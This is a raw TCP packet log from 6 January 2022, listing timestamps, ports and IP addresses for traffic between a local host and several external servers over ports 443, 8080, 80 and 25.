Jan 6, 2022 21:04:23.037885904 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.037894964 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.037914038 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.037934065 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.037942886 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.037971020 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.038089037 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.038136959 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.038141012 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.038158894 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.038188934 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.038218975 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.038273096 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.038275003 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.038290977 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.038327932 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.038345098 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.038392067 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.038400888 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.038420916 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.038470984 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.038480043 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.038495064 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.038546085 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.038554907 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.038573980 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.038602114 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.038630962 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.038682938 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.038686991 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.038702965 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.038733006 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.038758993 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.038798094 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.038806915 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.038855076 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.038899899 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.038916111 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.038927078 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.038948059 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.038954973 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.038980961 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.038986921 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.039011955 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.039041996 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.040092945 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.040122986 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.040174007 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.040186882 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.040201902 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.040215015 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.040235996 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.040245056 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.040283918 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.040317059 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.052476883 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.052510023 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.052567005 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.052582026 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.052602053 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.052613020 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.052627087 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.052651882 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.052659988 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.052687883 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.052722931 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.053023100 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.053055048 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.053109884 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.053121090 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.053169966 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.053194046 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.053766966 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.053838015 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.053857088 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.053936958 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.054498911 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.054806948 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.056480885 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.056510925 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.056575060 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.056598902 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.056631088 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.056644917 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.056787014 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.056818008 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.056879044 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.056896925 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.056909084 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.057265043 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.057292938 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.057347059 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.057363987 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.057373047 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.057636976 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.057662010 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.057739973 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.057754993 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.057764053 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.057965994 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.057967901 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.057984114 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.058027983 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.058032036 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.058058023 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.058065891 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.058079958 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.058121920 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.058566093 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.058589935 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.058651924 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.058662891 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.058679104 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.058706045 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.058737040 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.058748007 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.058779001 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.058810949 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.059006929 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.059032917 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.059072971 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.059082031 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.059111118 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.059134007 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.059268951 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.059293985 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.059333086 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.059343100 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.059370995 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.059391975 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.065856934 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.065951109 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.066001892 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.066082954 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.066098928 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.066123962 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.066163063 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.066174030 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.066190004 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.066232920 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.066483974 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.066509008 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.066553116 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.066560984 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.066587925 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.066612005 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.066708088 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.066735029 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.066772938 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.066781044 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.066814899 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.066828966 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.067591906 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.068058968 CET	49838	443	192.168.2.4	162.159.135.233
Jan 6, 2022 21:04:23.068073034 CET	443	49838	162.159.135.233	192.168.2.4
Jan 6, 2022 21:04:23.779572964 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:23.779675961 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:23.779715061 CET	49825	8080	192.168.2.4	185.7.214.171
Jan 6, 2022 21:04:23.839314938 CET	8080	49825	185.7.214.171	192.168.2.4
Jan 6, 2022 21:04:24.170531034 CET	49842	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:24.346179008 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.346441031 CET	49842	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:24.347187042 CET	49842	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:24.347239971 CET	49842	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:24.477116108 CET	49843	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:24.524229050 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.524271965 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.524379015 CET	49842	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:24.524735928 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.524764061 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.524806976 CET	49842	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:24.524841070 CET	49842	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:24.524929047 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.525006056 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.525022030 CET	49842	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:24.526145935 CET	49842	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:24.653270006 CET	80	49843	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.653398991 CET	49843	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:24.653552055 CET	49843	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:24.653573036 CET	49843	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:24.699907064 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.699938059 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.699964046 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.700076103 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.700160980 CET	49842	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:24.700330973 CET	49842	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:24.700357914 CET	49842	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:24.700484037 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.700531006 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.700556993 CET	49842	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:24.700596094 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.700607061 CET	49842	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:24.700643063 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.700670004 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.700702906 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.700722933 CET	49842	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:24.700746059 CET	49842	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:24.700769901 CET	49842	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:24.700803995 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.700887918 CET	49842	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:24.700982094 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.701791048 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.701826096 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.701867104 CET	49842	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:24.701889992 CET	49842	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:24.701980114 CET	49842	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:24.827122927 CET	80	49843	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.827143908 CET	80	49843	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.878142118 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.878221035 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.878274918 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.878329992 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.878376961 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.878424883 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.878475904 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.878524065 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.878587008 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.878688097 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.878758907 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.878786087 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.878804922 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.878818989 CET	49842	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:24.878824949 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.878915071 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.878946066 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.879040003 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.879116058 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.879240036 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.879267931 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.879292965 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.879501104 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.879530907 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.879556894 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.879582882 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.879672050 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.879700899 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.879718065 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.879892111 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.880093098 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.880122900 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.880146980 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.880235910 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.880347967 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.880481005 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:24.880592108 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:25.062933922 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:25.210390091 CET	80	49843	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:25.210637093 CET	49843	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:25.210817099 CET	49843	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:25.384499073 CET	80	49843	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:25.506700039 CET	49844	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:25.689291954 CET	80	49844	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:25.689433098 CET	49844	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:25.689533949 CET	49844	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:25.689555883 CET	49844	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:25.871977091 CET	80	49844	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:26.244234085 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:26.244285107 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:26.244344950 CET	49842	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:26.244376898 CET	49842	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:26.244609118 CET	49842	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:26.256278992 CET	80	49844	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:26.256361961 CET	49844	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:26.256542921 CET	49844	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:26.303616047 CET	49845	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:26.420125008 CET	80	49842	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:26.439013004 CET	80	49844	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:26.478626013 CET	80	49845	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:26.479104996 CET	49845	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:26.479218960 CET	49845	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:26.479248047 CET	49845	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:26.654120922 CET	80	49845	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:26.654165983 CET	80	49845	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:27.027379036 CET	80	49845	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:27.027468920 CET	49845	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:27.027626991 CET	49845	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:27.033952951 CET	49846	80	192.168.2.4	188.166.28.199
Jan 6, 2022 21:04:27.202406883 CET	80	49845	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:30.037445068 CET	49846	80	192.168.2.4	188.166.28.199
Jan 6, 2022 21:04:35.377991915 CET	49848	25	192.168.2.4	52.101.24.0
Jan 6, 2022 21:04:35.524594069 CET	25	49848	52.101.24.0	192.168.2.4
Jan 6, 2022 21:04:35.524895906 CET	49848	25	192.168.2.4	52.101.24.0
Jan 6, 2022 21:04:35.525485039 CET	49848	25	192.168.2.4	52.101.24.0
Jan 6, 2022 21:04:35.671386957 CET	25	49848	52.101.24.0	192.168.2.4
Jan 6, 2022 21:04:35.672408104 CET	25	49848	52.101.24.0	192.168.2.4
Jan 6, 2022 21:04:35.672563076 CET	49848	25	192.168.2.4	52.101.24.0
Jan 6, 2022 21:04:35.672777891 CET	25	49848	52.101.24.0	192.168.2.4
Jan 6, 2022 21:04:35.674801111 CET	49848	25	192.168.2.4	52.101.24.0
Jan 6, 2022 21:04:36.037985086 CET	49846	80	192.168.2.4	188.166.28.199
Jan 6, 2022 21:04:37.927126884 CET	49849	443	192.168.2.4	94.142.141.254
Jan 6, 2022 21:04:37.927181005 CET	443	49849	94.142.141.254	192.168.2.4
Jan 6, 2022 21:04:37.927299976 CET	49849	443	192.168.2.4	94.142.141.254
Jan 6, 2022 21:04:48.168534994 CET	49850	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:48.344877005 CET	80	49850	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:48.345017910 CET	49850	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:48.345104933 CET	49850	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:48.348303080 CET	49850	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:48.521794081 CET	80	49850	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:48.524760008 CET	80	49850	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:48.913144112 CET	80	49850	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:48.913330078 CET	49850	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:49.181420088 CET	49850	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:49.223206043 CET	49851	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:49.357728958 CET	80	49850	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:49.396451950 CET	80	49851	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:49.396626949 CET	49851	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:49.396728039 CET	49851	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:49.396755934 CET	49851	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:49.570008039 CET	80	49851	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:49.947704077 CET	80	49851	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:49.947906971 CET	49851	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:50.673362970 CET	49851	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:50.776463032 CET	49852	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:50.846632004 CET	80	49851	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:50.955821037 CET	80	49852	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:50.955946922 CET	49852	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:50.956078053 CET	49852	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:50.956101894 CET	49852	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:51.135289907 CET	80	49852	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:51.523705959 CET	80	49852	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:51.523797989 CET	49852	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:51.523828983 CET	49852	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:51.551266909 CET	49853	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:51.703103065 CET	80	49852	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:51.728410006 CET	80	49853	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:51.728653908 CET	49853	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:51.728843927 CET	49853	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:51.728863955 CET	49853	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:51.905889034 CET	80	49853	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:51.905924082 CET	80	49853	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:52.301568031 CET	80	49853	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:52.301829100 CET	49853	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:52.301887035 CET	49853	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:52.478945017 CET	80	49853	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:52.606362104 CET	49854	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:52.785878897 CET	80	49854	198.11.172.78	192.168.2.4
Jan 6, 2022 21:04:52.786005974 CET	49854	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:52.786195040 CET	49854	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:52.786211014 CET	49854	80	192.168.2.4	198.11.172.78
Jan 6, 2022 21:04:52.965308905 CET	80	49854	198.11.172.78	192.168.2.4
